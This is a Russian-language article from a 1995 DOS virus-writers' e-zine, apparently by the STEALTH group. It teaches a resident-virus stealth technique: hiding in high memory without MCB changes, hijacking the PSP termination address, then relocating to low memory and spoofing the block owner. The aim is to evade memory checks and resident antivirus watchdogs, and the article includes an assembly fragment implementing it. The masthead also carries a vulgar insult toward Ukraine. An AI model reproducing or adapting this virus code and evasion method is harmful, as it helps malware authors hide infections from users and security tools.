          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  FEB '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██  
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ████ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄ 
	     Copyright , (C),1994-95, by STEALTH group, unLtd.
	     (M)ail: BOX 10, KIEV 148, The CUNTry of fUcKRAINE		


			VIRUS WRITER'S NOTES.
			
					Что-то с памятью моей стало...

	Как это ни печально, но большинство из существующих резидентных
вирусов можно обнаружить простым ....., нет даже не просмотром памяти -
нажатием CTRL L в Norton ( Volkov ) Commander и сравнением того что они
показывают в Total Memory с 655 360 ( естественно при отсутствии  в па-
мяти всяких там антивирусных чипов,   которые грузятся до DOSa и прочих
наворотов ).  Именно  на уменьшение  общего количества системной памяти
реагируют -D и ANTIAPE.SYS, MVT.COM,а в последнее время ещё и некоторые
юзеры, которые очень этим гордятся!
	Как говорят в Одессе,  изложенный ниже метод позволяет не забо-
титься об указанных выше мелочах:
Идея проста - получив управление, вирус садится в верхние адреса памяти
безо всякой коррекции MCB и не перехватывает ни единого прерывания  ( а
вот это уже круто! ), вместо этого он устанавливает на себя адрес пере-
хода  по завершению программы в PSP ( cмещение 0Ah ) и ждёт, когда про-
грамма закончится,  после чего спокойно выделяет себе  кусочек памяти в
нижних адресах с помощью функции 48h,  переползает туда и перехватывает
прерывания!
	Благодаря использованию данного метода вирус становиться  необ-
наруживаемым резидентными сторожами типа -D, ещё раз доказывая  "восхи-
тительную неуместность"  их использования,  избегает конфликтов с рези-
дентными программами, не уменьшает количество доступной памяти.

  К недостаткам данного метода можно отнести следующее:

- Вирус,  использующий данный метод,  никогда  не инсталлируется с СOM-
  MAND.COM ( думаю всем понятно почему! ). Об этом не стоит беспокоить-
  ся, так как при попытке инсталляции система не повиснет.
- Некоторые программы всё же повиснут,  успев затереть  вирус в старших
  адресах. Однако, таких программ немного (я нашёл только одну из более
  чем 200 протестированных) и зависание происходит  только  если вируса
  ещё нет в памяти. Замечу, что прежняя версия (MAVERICK - 2048) зави-
  сала куда чаще, используя "стандартный" метод откусывания кусочка па-
  мяти в верхних адресах.
- Вирус будет виден в памяти при просмотре некоторыми утилитами ( полю-
  бившийся всем RELEASE его не заметит ). Существует хороший метод про-
  тиводействия - поставьте владельцем блока владельца второго MCB,кото-
  рым обычно является COMMAND.COM! Да и среди юзеров,при всей их много-
  численности, весьма немногие знают что-нибудь о том, что происходит в
  памяти.

  Ниже приведен фрагмент кода, служащий примером реализации данного ме-
тода :

;----------------------------------------------------------------------

INSTALL:
	MOV  BX,WORD PTR ES:[2]			; BX - вершина доступной
						; программе памяти
	SUB  BX,MIN_MEM+20h			; Ceгмент, где будем вре-
						; менно храниться.
	SUB  SI,XX				; Теперь SI указывает на
						; начало вируса.
	PUSH ES
	MOV  ES,BX
	CALL REMOVE				; Переезжаем...

	POP  DS
	MOV  SI,0Ah				; Смещение адреса перехода
						; по завершению программы
						; в PSP.

	MOV  DI,OFFSET FAIL -100h + 1		; Cмещение, по которому
						; сохраняем старый адрес
						; перехода.
;----------------------------------------------------------
; 	Сохраняем данный адрес, а в PSP подставим свой.
;----------------------------------------------------------
	MOVSW
	MOVSW
	MOV  WORD PTR DS:[12h],ES
	MOV  WORD PTR DS:[10h],OFFSET EXIT_INT - 100h
;----------------------------------------------------------
	JMP  EXIT				; Передаём управление носителю


;------------------------
;  Закрепление в памяти
;------------------------
EXIT_INT:
	MOV  AH,48h
	MOV  BX,MIN_MEM
	INT  21h
	JC   FAIL	; Выделяем память!
	DEC  AX
	MOV  DS,AX
	MOV  WORD PTR DS:[1],8		; Поставим владельцем блока DOS.
	INC  AX
	MOV  ES,AX
	XOR  SI,SI
	CALL REMOVE	; Переезджаем...
;-----------------------------------
; Далее перехватываем 21h.
; ("перехватывайте" самостоятельно!)
;-----------------------------------
FAIL:
;-----------------------------------
; Отдаём управление системе...
;-----------------------------------
DB	0EAh,0,0,0,0

REMOVE  PROC NEAR
	CLD
	PUSH CS
	POP  DS
	MOV  CX,VL		; VL - длина вируса
	XOR  DI,DI
	REP  MOVSB
	RET
REMOVE  ENDP

;----------------------------------------------------------------------
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
